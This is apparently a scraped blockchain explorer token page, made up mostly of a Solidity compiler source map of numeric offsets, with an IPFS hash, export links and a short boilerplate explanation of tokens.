;;:70;;;;22168:44;1596:25:1;;;-1:-1:-1;;;;;22168:44:0;;;;;;;;;;1569:18:1;22168:44:0;;;;;;;21852:376;;21603:632;21520:715;;;:::o;3672:98::-;3730:7;3757:5;3761:1;3757;:5;:::i;20222:226::-;20280:7;20289;20309:12;20342:3;20332:9;;20324:7;:17;;;;:::i;:::-;:21;;;;:::i;:::-;20309:36;-1:-1:-1;20356:23:0;20382:17;:7;20309:36;20382:11;:17::i;:::-;20356:43;20435:4;;-1:-1:-1;20222:226:0;;-1:-1:-1;;;20222:226:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2490:248::-;2558:6;2566;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;;2658:23:1;;;2728:2;2713:18;;;2700:32;;-1:-1:-1;2490:248:1:o;2743:247::-;2802:6;2855:2;2843:9;2834:7;2830:23;2826:32;2823:52;;;2871:1;2868;2861:12;2823:52;2910:9;2897:23;2929:31;2954:5;2929:31;:::i;2995:388::-;3063:6;3071;3124:2;3112:9;3103:7;3099:23;3095:32;3092:52;;;3140:1;3137;3130:12;3092:52;3179:9;3166:23;3198:31;3223:5;3198:31;:::i;:::-;3248:5;-1:-1:-1;3305:2:1;3290:18;;3277:32;3318:33;3277:32;3318:33;:::i;:::-;3370:7;3360:17;;;2995:388;;;;;:::o;3388:380::-;3467:1;3463:12;;;;3510;;;3531:61;;3585:4;3577:6;3573:17;3563:27;;3531:61;3638:2;3630:6;3627:14;3607:18;3604:38;3601:161;;3684:10;3679:3;3675:20;3672:1;3665:31;3719:4;3716:1;3709:15;3747:4;3744:1;3737:15;3601:161;;3388:380;;;:::o;3773:251::-;3843:6;3896:2;3884:9;3875:7;3871:23;3867:32;3864:52;;;3912:1;3909;3902:12;3864:52;3944:9;3938:16;3963:31;3988:5;3963:31;:::i;4950:306::-;5038:6;5046;5054;5107:2;5095:9;5086:7;5082:23;5078:32;5075:52;;;5123:1;5120;5113:12;5075:52;5152:9;5146:16;5136:26;;5202:2;5191:9;5187:18;5181:25;5171:35;;5246:2;5235:9;5231:18;5225:25;5215:35;;4950:306;;;;;:::o;5540:277::-;5607:6;5660:2;5648:9;5639:7;5635:23;5631:32;5628:52;;;5676:1;5673;5666:12;5628:52;5708:9;5702:16;5761:5;5754:13;5747:21;5740:5;5737:32;5727:60;;5783:1;5780;5773:12;7331:127;7392:10;7387:3;7383:20;7380:1;7373:31;7423:4;7420:1;7413:15;7447:4;7444:1;7437:15;7463:125;7528:9;;;7549:10;;;7546:36;;;7562:18;;:::i;7954:175::-;7991:3;8035:4;8028:5;8024:16;8064:4;8055:7;8052:17;8049:43;;8072:18;;:::i;:::-;8121:1;8108:15;;7954:175;-1:-1:-1;;7954:175:1:o;8266:127::-;8327:10;8322:3;8318:20;8315:1;8308:31;8358:4;8355:1;8348:15;8382:4;8379:1;8372:15;8398:980;8660:4;8708:3;8697:9;8693:19;8739:6;8728:9;8721:25;8765:2;8803:6;8798:2;8787:9;8783:18;8776:34;8846:3;8841:2;8830:9;8826:18;8819:31;8870:6;8905;8899:13;8936:6;8928;8921:22;8974:3;8963:9;8959:19;8952:26;;9013:2;9005:6;9001:15;8987:29;;9034:1;9044:195;9058:6;9055:1;9052:13;9044:195;;;9123:13;;-1:-1:-1;;;;;9119:39:1;9107:52;;9214:15;;;;9179:12;;;;9155:1;9073:9;9044:195;;;-1:-1:-1;;;;;;;9295:32:1;;;;9290:2;9275:18;;9268:60;-1:-1:-1;;;9359:3:1;9344:19;9337:35;9256:3;8398:980;-1:-1:-1;;;8398:980:1:o;9383:128::-;9450:9;;;9471:11;;;9468:37;;;9485:18;;:::i;9516:168::-;9589:9;;;9620;;9637:15;;;9631:22;;9617:37;9607:71;;9658:18;;:::i;9689:217::-;9729:1;9755;9745:132;;9799:10;9794:3;9790:20;9787:1;9780:31;9834:4;9831:1;9824:15;9862:4;9859:1;9852:15;9745:132;-1:-1:-1;9891:9:1;;9689:217::o

Swarm Source

ipfs://d3f28c711c9231b3a7760900e7af63f4e71ed36bc2faa912eb221ba02d44b444
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.